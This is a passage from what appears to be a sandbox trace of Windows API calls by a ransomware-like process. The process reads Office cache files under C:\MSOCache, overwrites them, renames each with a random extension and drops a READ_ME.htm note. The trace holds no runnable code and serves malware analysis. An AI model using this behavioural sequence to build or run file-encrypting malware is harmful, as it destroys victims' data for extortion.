ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xb8922a80, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64MUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0135.767] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69bb1570, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0x69bb1570, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xb88643a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64MUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0135.767] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3791b640, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0x3791b640, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xb8d01de0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f70a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW64LR.cab", cAlternateFileName="")) returned 1 [0135.767] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42258760, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x42258760, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xb9178720, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0135.767] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42258760, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x42258760, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xb9178720, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0135.767] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0135.769] SetErrorMode (uMode=0x0) returned 0x1 [0135.769] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0135.769] SetErrorMode (uMode=0x1) returned 0x0 [0135.769] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb9178720, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb9178720, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0135.770] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb9178720, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb9178720, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.770] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x75c7a4e0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x75c7a4e0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xb8bd0b10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x12b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64MUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1 [0135.770] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51246020, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0x51246020, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xb8bd0b10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x776, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64MUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0135.770] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74e2c320, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x74e2c320, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xb8922a80, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64MUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0135.770] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69bb1570, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0x69bb1570, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xb88643a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64MUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0135.770] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3791b640, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0x3791b640, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xb8d01de0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f70a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW64LR.cab", cAlternateFileName="")) returned 1 [0135.770] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42258760, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x42258760, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xb9178720, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0135.771] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42258760, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x42258760, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xb9178720, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0135.771] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0135.771] SetErrorMode (uMode=0x0) returned 0x1 [0135.771] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUI.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUI.xml", lpFilePart=0x0) returned 0x4e [0135.771] SetErrorMode (uMode=0x1) returned 0x0 [0135.772] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\office64mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0135.774] GetFileType (hFile=0x1d0) returned 0x1 [0135.774] SetErrorMode (uMode=0x0) returned 0x1 [0135.774] GetFileType (hFile=0x1d0) returned 0x1 [0135.774] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x776 [0135.774] ReadFile (in: hFile=0x1d0, lpBuffer=0x290e678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x290e678*, lpNumberOfBytesRead=0x21d4d8*=0x776, lpOverlapped=0x0) returned 1 [0135.796] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUI.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUI.xml", lpFilePart=0x0) returned 0x4e [0135.796] SetErrorMode (uMode=0x1) returned 0x0 [0135.796] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\office64mui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0135.798] GetFileType (hFile=0x1d0) returned 0x1 [0135.798] SetErrorMode (uMode=0x0) returned 0x1 [0135.798] GetFileType (hFile=0x1d0) returned 0x1 [0135.798] WriteFile (in: hFile=0x1d0, lpBuffer=0x29f1da0*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x29f1da0*, lpNumberOfBytesWritten=0x21d478*=0x780, lpOverlapped=0x0) returned 1 [0135.800] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUI.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUI.xml", lpFilePart=0x0) returned 0x4e [0135.800] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUI.xml.41gmdo", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUI.xml.41gmdo", lpFilePart=0x0) returned 0x55 [0135.800] SetErrorMode (uMode=0x1) returned 0x0 [0135.800] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\office64mui.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51246020, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0x51246020, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0x4d805c20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x780)) returned 1 [0135.801] SetErrorMode (uMode=0x0) returned 0x1 [0135.801] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\office64mui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUI.xml.41gmdo" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\office64mui.xml.41gmdo")) returned 1 [0135.802] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUISet.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUISet.xml", lpFilePart=0x0) returned 0x51 [0135.802] SetErrorMode (uMode=0x1) returned 0x0 [0135.802] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUISet.xml" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\office64muiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0135.804] GetFileType (hFile=0x1d0) returned 0x1 [0135.804] SetErrorMode (uMode=0x0) returned 0x1 [0135.804] GetFileType (hFile=0x1d0) returned 0x1 [0135.804] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x40c [0135.804] ReadFile (in: hFile=0x1d0, lpBuffer=0x29f3ed0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x29f3ed0*, lpNumberOfBytesRead=0x21d4d8*=0x40c, lpOverlapped=0x0) returned 1 [0135.910] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUISet.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUISet.xml", lpFilePart=0x0) returned 0x51 [0135.910] SetErrorMode (uMode=0x1) returned 0x0 [0135.910] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUISet.xml" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\office64muiset.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0135.912] GetFileType (hFile=0x1d0) returned 0x1 [0135.912] SetErrorMode (uMode=0x0) returned 0x1 [0135.912] GetFileType (hFile=0x1d0) returned 0x1 [0135.912] WriteFile (in: hFile=0x1d0, lpBuffer=0x28d4010*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x28d4010*, lpNumberOfBytesWritten=0x21d478*=0x410, lpOverlapped=0x0) returned 1 [0135.913] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUISet.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUISet.xml", lpFilePart=0x0) returned 0x51 [0135.913] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUISet.xml.eptbtw", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUISet.xml.eptbtw", lpFilePart=0x0) returned 0x58 [0135.913] SetErrorMode (uMode=0x1) returned 0x0 [0135.913] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUISet.xml" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\office64muiset.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69bb1570, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0x69bb1570, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0x4d936720, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x410)) returned 1 [0135.913] SetErrorMode (uMode=0x0) returned 0x1 [0135.913] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUISet.xml" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\office64muiset.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUISet.xml.eptbtw" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\office64muiset.xml.eptbtw")) returned 1 [0135.914] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0135.914] SetErrorMode (uMode=0x1) returned 0x0 [0135.915] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0135.918] GetFileType (hFile=0x1d0) returned 0x1 [0135.918] SetErrorMode (uMode=0x0) returned 0x1 [0135.918] GetFileType (hFile=0x1d0) returned 0x1 [0135.918] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0xc32 [0135.918] ReadFile (in: hFile=0x1d0, lpBuffer=0x28d6960, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x28d6960*, lpNumberOfBytesRead=0x21d4d8*=0xc32, lpOverlapped=0x0) returned 1 [0135.944] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0135.945] SetErrorMode (uMode=0x1) returned 0x0 [0135.945] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0135.945] GetFileType (hFile=0x1d0) returned 0x1 [0135.945] SetErrorMode (uMode=0x0) returned 0x1 [0135.946] GetFileType (hFile=0x1d0) returned 0x1 [0135.946] WriteFile (in: hFile=0x1d0, lpBuffer=0x29bb838*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x29bb838*, lpNumberOfBytesWritten=0x21d478*=0xc40, lpOverlapped=0x0) returned 1 [0135.947] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0135.947] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Setup.xml.lshxtz", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Setup.xml.lshxtz", lpFilePart=0x0) returned 0x4f [0135.947] SetErrorMode (uMode=0x1) returned 0x0 [0135.947] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42258760, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x42258760, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0x4d9829e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xc40)) returned 1 [0135.948] SetErrorMode (uMode=0x0) returned 0x1 [0135.948] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Setup.xml.lshxtz" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\setup.xml.lshxtz")) returned 1 [0135.948] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\READ_ME.htm", lpFilePart=0x0) returned 0x4a [0135.949] SetErrorMode (uMode=0x1) returned 0x0 [0135.949] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\READ_ME.htm" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0135.949] GetFileType (hFile=0x1d0) returned 0x1 [0135.949] SetErrorMode (uMode=0x0) returned 0x1 [0135.949] GetFileType (hFile=0x1d0) returned 0x1 [0135.950] WriteFile (in: hFile=0x1d0, lpBuffer=0x29c0678*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29c0678*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0135.951] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0135.951] SetErrorMode (uMode=0x1) returned 0x0 [0135.952] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd091f700, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd16f56e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd16f56e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0135.958] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd091f700, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd16f56e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd16f56e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.958] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd0945860, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd16cf580, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd16cf580, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0135.958] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x910d560, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x910d560, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd091f700, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0135.958] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdd382ac0, ftCreationTime.dwHighDateTime=0x1d0cbb1, ftLastAccessTime.dwLowDateTime=0xdd382ac0, ftLastAccessTime.dwHighDateTime=0x1d0cbb1, ftLastWriteTime.dwLowDateTime=0xd091f700, 